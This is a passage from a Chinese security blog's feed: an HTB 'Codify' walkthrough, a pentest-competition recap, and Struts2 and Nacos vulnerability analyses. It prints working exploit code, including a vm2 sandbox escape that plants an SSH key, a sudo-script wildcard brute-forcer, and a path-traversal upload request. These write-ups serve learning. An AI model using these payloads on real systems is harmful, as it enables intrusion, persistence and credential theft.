class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /S2_066_war_exploded/upload.action?uploadFileName=../<span class="number">1234.</span>jsp HTTP/<span class="number">1.1</span></span><br><span class="line">Host: localhost:<span class="number">8080</span></span><br><span class="line">Accept: *<span class="comment">/*</span></span><br><span class="line"><span class="comment">Accept-Encoding: gzip, deflate</span></span><br><span class="line"><span class="comment">Content-Length: 406</span></span><br><span class="line"><span class="comment">Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN</span></span><br><span class="line"><span class="comment">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN</span></span><br><span class="line"><span class="comment">Content-Disposition: form-data; name="Upload"; filename="1.txt"</span></span><br><span class="line"><span class="comment">Content-Type: text/plain</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">This is test</span></span><br><span class="line"><span class="comment">--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211205158357.png" alt="image-20231211205158357"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211205213052.png" alt="image-20231211205213052"></p><h2 id="漏洞修复"><a class="markdownIt-Anchor" href="#漏洞修复">#</a> 漏洞修复</h2><p>看 diff 不难发现官方将传递的参数改为大小写不敏感,<em>检查当前键是否与 nameLowerCase 相等,忽略大小写</em>,这样就会覆盖我们传递的值</p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
<tag> Struts2 </tag>
<tag> CVE </tag>
</tags>
</entry>
<entry>
<title>HTB-codify</title>
<link href="/2023/12/05/HTB-codify/"/>
<url>/2023/12/05/HTB-codify/</url>
<content type="html"><![CDATA[<h2 id="信息收集"><a class="markdownIt-Anchor" href="#信息收集">#</a> 信息收集</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sC -sV -v -oN nmap.log 10.10.11.239</span><br></pre></td></tr></table></figure><p>扫描结果:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">PORT STATE SERVICE VERSION</span><br><span class="line">22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)</span><br><span class="line">| ssh-hostkey: </span><br><span class="line">| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)</span><br><span class="line">|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)</span><br><span class="line">80/tcp open http Apache httpd 2.4.52</span><br><span class="line">|_http-server-header: Apache/2.4.52 (Ubuntu)</span><br><span class="line">|_http-title: Did not follow redirect to http://codify.htb/</span><br><span class="line">| http-methods: </span><br><span class="line">|_ Supported Methods: GET POST OPTIONS</span><br><span class="line">3000/tcp open http Node.js Express framework</span><br><span class="line">|_http-title: Codify</span><br><span class="line">| http-methods: </span><br><span class="line">|_ Supported Methods: GET HEAD POST OPTIONS</span><br><span class="line">Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel</span><br></pre></td></tr></table></figure><p>然后看 80 页面,什么内容都没有</p><p>接着看 3000 端口</p><p>页面有说明,是 Node.js 沙盒环境,应该是让我们执行逃逸代码</p><p>github 上找到一个新的 vm2 沙盒逃逸漏洞</p><p><a href="https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244">https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244</a></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240109165840655.png" alt="image-20240109165840655"></p><p>成功执行</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240109165919880.png" alt="image-20240109165919880"></p><p>下面就要获取服务器权限了</p><p>这里直截了当通过覆写公钥到服务器</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">const {VM} = require("vm2");</span><br><span class="line">const vm = new VM();</span><br><span class="line"></span><br><span class="line">const code = `</span><br><span class="line">err = {};</span><br><span class="line">const handler = {</span><br><span class="line"> getPrototypeOf(target) {</span><br><span class="line"> (function stack() {</span><br><span class="line"> new Error().stack;</span><br><span class="line"> stack();</span><br><span class="line"> })();</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"> </span><br><span class="line">const proxiedErr = new Proxy(err, handler);</span><br><span class="line">try {</span><br><span class="line"> throw proxiedErr;</span><br><span class="line">} catch ({constructor: c}) {</span><br><span class="line"> c.constructor('return process')().mainModule.require('child_process').execSync('cd ~/;mkdir .ssh;echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClC3wrRzNZXoHc/NXHzAFLbPGkROcP8qadteSU9uDpLwPx2wRSzbwxuFh3qog7/T9Hn47amvQARv/xDO7GUBzdxkHw2arNM6ZpRYKRgqqYLY2azMIcfHb3g3HO/rWCW8d2Hd32TrjWEJgfxcwTYc9Um4blleU4f2y2XLyNvuaWD6jHbUXPR7QAvz868uIjqV4g63Bnmz8bz1xXEnNlICnMWLa2WWKr01jpU3cy5+pb2DKTbTZgjlwX37TxWi9WmtBuKgP5HccySeeToLirwnG6zQlH+DeNX5sA2aI1xUm1R+U+wmtHL54JU46rzbZ26YvblyCJLqabi28gtoV2hksGnTDwwg4hlQkKP93w4rig0q1s3AiLEhrJdOZ0rgGSNsTrvGiiqk7XTqIPkZgsPDpZsyMvL6fXP3pVpJCOYvPf9+Ml6zwKDI1fOuFuq2ZgOtoELEghYmYgU0uDn1khHPB5FU2fbyWzh1IsLWO3sILGP5jOeml9sjQdX3aEywAPAuE= ki10moc@192.168.0.101" > ~/.ssh/authorized_keys;ls -al ~/.ssh;cat ~/.ssh/auth*');</span><br><span class="line">}</span><br><span class="line">`</span><br><span class="line"></span><br><span class="line">console.log(vm.run(code));</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240109201616484.png" alt="image-20240109201616484"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh svc@10.10.11.239 -i id_rsa</span><br></pre></td></tr></table></figure><p>获取到 shell</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240109202542811.png" alt="image-20240109202542811"></p><p>发现还有一个 joxxx 用户</p><p>先找下配置文件之类的</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">/var/www/contact/tickets.db</span><br><span class="line">/var/lib/plocate/plocate.db</span><br><span class="line">/var/lib/fwupd/pending.db</span><br><span class="line">/var/lib/PackageKit/transactions.db</span><br><span class="line">/var/lib/command-not-found/commands.db</span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">strings /var/www/contact/tickets.db</span><br></pre></td></tr></table></figure><p>在 tickets.db 中发现</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">SQLite format 3</span><br><span class="line">otableticketstickets</span><br><span class="line">CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P</span><br><span class="line">Ytablesqlite_sequencesqlite_sequence</span><br><span class="line">CREATE TABLE sqlite_sequence(name,seq)</span><br><span class="line">tableusersusers</span><br><span class="line">CREATE TABLE users (</span><br><span class="line"> id INTEGER PRIMARY KEY AUTOINCREMENT, </span><br><span class="line"> username TEXT UNIQUE, </span><br><span class="line"> password TEXT</span><br><span class="line"> ))</span><br><span class="line">indexsqlite_autoindex_users_1users</span><br><span class="line"><span class="meta prompt_">joshua$</span><span class="language-bash">2a$12<span class="variable">$SOn8Pf6z8fO</span>/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2</span></span><br><span class="line">joshua</span><br><span class="line">users</span><br><span class="line">tickets</span><br><span class="line">Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open</span><br><span class="line">Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>配置文件记录了 joshua 用户的 hash</p><p>john 或者 hashcat 爆破</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">┌──(root㉿ki10Moc)-[/]</span><br><span class="line">└─# john --show hash.txt </span><br><span class="line">?:spongebob1</span><br><span class="line"></span><br><span class="line">1 password hash cracked, 0 left</span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">joshua@codify:/home$ id</span><br><span class="line">uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)</span><br><span class="line">joshua@codify:/home$ </span><br></pre></td></tr></table></figure><p>下面想办法提权到 root</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo -l</span><br></pre></td></tr></table></figure><p>看到一个 sh 脚本有 root 权限</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">!/bin/bash</span></span><br><span class="line">DB_USER="root"</span><br><span class="line">DB_PASS=$(/usr/bin/cat /root/.creds)</span><br><span class="line">BACKUP_DIR="/var/backups/mysql"</span><br><span class="line"></span><br><span class="line">read -s -p "Enter MySQL password for $DB_USER: " USER_PASS</span><br><span class="line">/usr/bin/echo</span><br><span class="line"></span><br><span class="line">if [[ $DB_PASS == $USER_PASS ]]; then</span><br><span class="line"> /usr/bin/echo "Password confirmed!"</span><br><span class="line">else</span><br><span class="line"> /usr/bin/echo "Password confirmation failed!"</span><br><span class="line"> exit 1</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line">/usr/bin/mkdir -p "$BACKUP_DIR"</span><br><span class="line"></span><br><span class="line">databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")</span><br><span class="line"></span><br><span class="line">for db in $databases; do</span><br><span class="line"> /usr/bin/echo "Backing up database: $db"</span><br><span class="line"> /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"</span><br><span class="line">done</span><br><span class="line"></span><br><span class="line">/usr/bin/echo "All databases backed up successfully!"</span><br><span class="line">/usr/bin/echo "Changing the permissions"</span><br><span class="line">/usr/bin/chown root:sys-adm "$BACKUP_DIR"</span><br><span class="line">/usr/bin/chmod 774 -R "$BACKUP_DIR"</span><br><span class="line">/usr/bin/echo 'Done!'</span><br></pre></td></tr></table></figure><p>这里利用 johnua 用户登陆数据库看下 root 信息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mysql -u 'johnua' -h 0.0.0.0 -P 3306 -p</span><br><span class="line">use mysql;</span><br><span class="line">select * from user\G;</span><br></pre></td></tr></table></figure><p>得到 root 的密码 hash,但是这里加了 salt,跑不出来,只能暴力破解了</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Host: localhost</span><br><span class="line">User: root</span><br><span class="line">Password: *4ECCEBD05161B6782081E970D9D2C72138197218</span><br></pre></td></tr></table></figure><p>回头接着看 sh 脚本</p><p>这里发现密码匹配使用 ==,在 Bash 中使用 [[]] 中的 == 所致,它执行模式匹配而不是直接字符串比较。这意味着用户输入 (USER_PASS) 被视为一种模式,如果它包含 * 或 ?等通配字符,则它可能会匹配意外的字符串。</p><p>如果实际密码是 password,但是用户输入 * 作为其密码,则模式匹配将成功,因为 * 匹配任何字符串,从而导致未经授权的访问。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_password</span>(<span class="params">p</span>):</span><br><span class="line">command = <span class="string">f"echo '<span class="subst">{p}</span>*' | sudo /opt/scripts/mysql-backup.sh"</span></span><br><span class="line">result = subprocess.run(command, shell=<span class="literal">True</span>, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=<span class="literal">True</span>)</span><br><span class="line"><span class="keyword">return</span> <span class="string">"Password confirmed!"</span> <span class="keyword">in</span> result.stdout</span><br><span class="line"></span><br><span class="line">charset = string.ascii_letters + string.digits</span><br><span class="line">password = <span class="string">""</span></span><br><span class="line">is_password_found = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="keyword">not</span> is_password_found:</span><br><span class="line"><span class="keyword">for</span> char <span class="keyword">in</span> charset:</span><br><span class="line"><span class="keyword">if</span> check_password(password + char):</span><br><span class="line">password += char</span><br><span class="line"><span class="built_in">print</span>(password)</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">is_password_found = <span class="literal">True</span></span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">joshua@codify:/tmp$ vim 1.py </span><br><span class="line">joshua@codify:/tmp$ python3 1.py </span><br><span class="line">[sudo] password for joshua: </span><br><span class="line">k</span><br><span class="line">kl</span><br><span class="line">klj</span><br><span class="line">kljh</span><br><span class="line">kljh1</span><br><span class="line">kljh12</span><br><span class="line">kljh12k</span><br><span class="line">kljh12k3</span><br><span class="line">kljh12k3j</span><br><span class="line">kljh12k3jh</span><br><span class="line">kljh12k3jha</span><br><span class="line">kljh12k3jhas</span><br><span class="line">kljh12k3jhask</span><br><span class="line">kljh12k3jhaskj</span><br><span class="line">kljh12k3jhaskjh</span><br><span class="line">kljh12k3jhaskjh1</span><br><span class="line">kljh12k3jhaskjh12</span><br><span class="line">kljh12k3jhaskjh12k</span><br><span class="line">kljh12k3jhaskjh12kj</span><br><span class="line">kljh12k3jhaskjh12kjh</span><br><span class="line">kljh12k3jhaskjh12kjh3</span><br><span class="line">joshua@codify:/tmp$ su root</span><br><span class="line">Password: </span><br><span class="line">root@codify:/tmp# </span><br></pre></td></tr></table></figure><p>最终提权道 root</p>]]></content>
<tags>
<tag> 渗透 </tag>
<tag> HTB </tag>
<tag> RedTeam </tag>
</tags>
</entry>
<entry>
<title>PCL-Final复盘</title>
<link href="/2023/11/21/PCL-Final%E5%A4%8D%E7%9B%98/"/>
<url>/2023/11/21/PCL-Final%E5%A4%8D%E7%9B%98/</url>
<content type="html"><![CDATA[<p>部分关键步骤忘记截图了。。。</p><h3 id="day1水务安全"><a class="markdownIt-Anchor" href="#day1水务安全">#</a> Day1 水务安全</h3><p>是个 OA,上来直接嗦,第一个 flag 没截图</p><p>翻配置文件,php 文件做了混淆,看备份文件 bak</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/2.png" alt="2"></p><p>连上数据库拿到 flag</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/1.png" alt="1"></p><p>然后一把嗦内网,挂代理</p><p>内网一个 weblogic</p><p>里面有两个 flag</p><p>这是其中一个可以直接读取的</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/3.png" alt="3"></p><p>还有一个在根目录的 flag.txt</p><p>看下 history 提到了 CVE-2021-4034</p><p>用准备好的样本直接命令执行,但是读取有点问题,就通过执行 > <code>cat flag.txt</code> 直接把 flag 重定向成文件名</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/4.png" alt="4"></p><h3 id="day2金融安全第三问"><a class="markdownIt-Anchor" href="#day2金融安全第三问">#</a> Day2 金融安全第三问</h3><p>非预期</p><p>爆破出来服务器 root/123456</p><p>flag 在 /srv/flag</p><p>没截图。。。</p><p>机器拿到的时候是不回显的,就在本地写了一个</p><p>file_put_content,把执行的 POST [1] 参数内容放入到 1.txt</p><p>然后再机器上执行 curl -d <code>docker exec -it 53af5882ce3f cat /srv/flag > 1.txt </code></p><h3 id="day3政务安全"><a class="markdownIt-Anchor" href="#day3政务安全">#</a> Day3 政务安全</h3><p>给了几个站点,没有截图也不记得叫什么了。。。</p><p>截取的扫描结果</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[+] 10.10.2.11 MS17-010 (Windows 7 Ultimate 7601 Service Pack 1)</span><br><span class="line">[*] WebTitle: http://10.10.4.2:9010 code:307 len:57 title:None 跳转url: http://10.10.4.2:9001</span><br><span class="line">[*] WebTitle: http://10.10.2.2:8080 code:403 len:555 title:403 Forbidden</span><br><span class="line">[*] WebTitle: http://10.10.2.3:8080 code:403 len:548 title:403 Forbidden</span><br><span class="line">[*] WebTitle: http://10.10.4.3:8080 code:200 len:11197 title:Apache Tomcat/7.0.76</span><br><span class="line">[*] WebTitle: http://10.10.4.2:9080 code:200 len:23167 title:Portainer</span><br><span class="line">[+] 10.10.4.6 MS17-010 (Windows 7 Ultimate 7601 Service Pack 1)</span><br><span class="line">[+] 10.10.1.17 MS17-010 (Windows 7 Ultimate 7601 Service Pack 1)</span><br></pre></td></tr></table></figure><p>直接打</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/tmd.png" alt="tmd"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/tmd2.png" alt="tmd2"></p><p>然后准备进一步扩大成果的时候,剩余两台机器和这台机器直接全没了,不清楚是哪位大哥还是主办方环境有问题。。。。</p><h3 id="day3企业对抗"><a class="markdownIt-Anchor" href="#day3企业对抗">#</a> Day3 企业对抗</h3><p>泛微 OA 未授权</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231122004702085.png" alt="image-20231122004702085"></p><p>任意文件上传</p><p>这里马子连上就掉,后面干脆连不上,还会一直删除,然后五个环境要么没有 www 权限,要么路由删了,要么直接崩了。。。。</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231122004746901.png" alt="image-20231122004746901"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231122004802343.png" alt="image-20231122004802343"></p><p>任意文件读取</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231122004936764.png" alt="image-20231122004936764"></p><p>总结:</p><p>第二天的那个 supershell,默认秘钥没进去很亏,少刷一个内网</p><p>然后是一些 payload 准备的不充分,kali 环境桥接模式下,静态 IP 的文件忘记了位置,导致前面不能方便的上工具</p><p>内网一些知识还是比较模糊的,比赛时手忙脚乱。心态也不稳定,如果渗透的出现偏差就会打的畏手畏脚</p><p>渗透相对打的确实很少,回去后要多加强红队的技能和知识体系。</p>]]></content>
<tags>
<tag> 渗透 </tag>
<tag> 线下赛复盘 </tag>
<tag> 人生 </tag>
<tag> RedTeam </tag>
</tags>
</entry>
<entry>
<title>Nacos身份认证绕过漏洞分析</title>
<link href="/2023/10/18/Nacos%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
<url>/2023/10/18/Nacos%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<p>环境搭建麻了,本来搭建好了,但是没关虚拟机直接合上电脑,再回来就各种报错,***</p><h2 id="nacos身份认证绕过漏洞分析qvd-2023-6271"><a class="markdownIt-Anchor" href="#nacos身份认证绕过漏洞分析qvd-2023-6271">#</a> Nacos 身份认证绕过漏洞分析 (QVD-2023-6271)</h2><h3 id="远程调试环境搭建"><a class="markdownIt-Anchor" href="#远程调试环境搭建">#</a> 远程调试环境搭建</h3><p>在 startup.sh 加上远程调试的参数</p><p>JAVA_OPT="${JAVA_OPT} -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"</p><p>这里建议使用 jdk8 新一点的版本,我这里是最新的</p><p>然后 - Xmx 给大一些,我这里给的 2048,避免虚拟内存不足,否则也有可能会报错</p><p>然后直接机上 - m standalone 单机启动即可</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021131105138.png" alt="image-20231021131105138"></p><h3 id="受影响版本"><a class="markdownIt-Anchor" href="#受影响版本">#</a> 受影响版本</h3><p>0.1.0 <= Nacos <= 2.2.0</p><h3 id="漏洞原理"><a class="markdownIt-Anchor" href="#漏洞原理">#</a> 漏洞原理</h3><p>目前 Nacos 身份认证绕过漏洞 (QVD-2023-6271),开源服务管理平台 Nacos 在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。</p><p>来看下官方修复的版本 (2.2.0.1)</p><p><a href="https://github.com/alibaba/nacos/releases/tag/2.2.0.1">Release 2.2.0.1 (March 2nd, 2023) · alibaba/nacos (github.com)</a></p><p>将硬编码写在源码里的秘钥注释掉了</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231020185049505.png" alt="image-20231020185049505"></p><h3 id="源码分析"><a class="markdownIt-Anchor" href="#源码分析">#</a> 源码分析</h3><p>关于漏洞,CISCN 初赛就打过,也不做过多解释,直接上手来看源码</p><p>直接定位到 JwtToken 的产生逻辑这里</p><p>com.alibaba.nacos.plugin.auth.impl.JwtTokenManager</p><p>首先是 processProperties 方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">processProperties</span><span class="params">()</span> {</span><br><span class="line"> <span class="built_in">this</span>.tokenValidityInSeconds = (Long)EnvUtil.getProperty(<span class="string">"nacos.core.auth.plugin.nacos.token.expire.seconds"</span>, Long.class, AuthConstants.DEFAULT_TOKEN_EXPIRE_SECONDS);</span><br><span class="line"> <span class="type">String</span> <span class="variable">encodedSecretKey</span> <span class="operator">=</span> EnvUtil.getProperty(<span class="string">"nacos.core.auth.plugin.nacos.token.secret.key"</span>, <span class="string">""</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="built_in">this</span>.secretKey = Keys.hmacShaKeyFor((<span class="type">byte</span>[])Decoders.BASE64.decode(encodedSecretKey));</span><br><span class="line"> } <span class="keyword">catch</span> (Exception var3) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">"the length of must great than or equal 32 bytes; And the secret key must be encoded by base64"</span>, var3);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">this</span>.jwtParser = Jwts.parserBuilder().setSigningKey(<span class="built_in">this</span>.secretKey).build();</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这里直接获取 SecretKey</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">encodedSecretKey</span> <span class="operator">=</span> EnvUtil.getProperty(<span class="string">"nacos.core.auth.plugin.nacos.token.secret.key"</span>, <span class="string">""</span>);</span><br></pre></td></tr></table></figure><p>也就是配置文件下的</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231020201106531.png" alt="image-20231020201106531"></p><p>然后通过时间戳来生成,当前时间 + 有效时间,其实也就是 Token 到期的时间</p><p>这里的时间是 CST (北美中部标准时间)</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021134030024.png" alt="image-20231021134030024"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231020201351361.png" alt="image-20231020201351361"></p><p>那再来看下使用到这一部分代码的登录逻辑</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021124203386.png" alt="image-20231021124203386"></p><p>这里直接由 jwtTokenManager 生成相应的值赋给 token</p><p>并添加到 HTTP 头中</p><p>然后是 authManager,会对 Token 做出合法性判断,不为空且 Bearer 为开头的直接返回第 7 个字符之后的内容,也就是 eyJ… 的 JWT 内容</p><p>否则就会切请求包中的对应参数加载</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021141238312.png" alt="image-20231021141238312"></p><p>然后再 return Token</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021141309886.png" alt="image-20231021141309886"></p><p>处理好 Token 后就进入到当前验证类的 login 方法,这里调用 validate0 来检验 Token</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021141512567.png" alt="image-20231021141512567"></p><p>将用户的用户名和识别 ID 存储</p><p>上面的操作无误后回到 Controller 层的 user 控制器下</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021141655889.png" alt="image-20231021141655889"></p><p>将上面的内容进行汇总</p><p>也即将 Token,username,关于这里的 globalAdmin 可以看 https://github.com/alibaba/nacos/issues/5969</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231021142527365.png" alt="image-20231021142527365"></p><p>最后的 doInvoke 执行以上所有的内容</p><p>上面大致走了一下流程,了解了 jwt 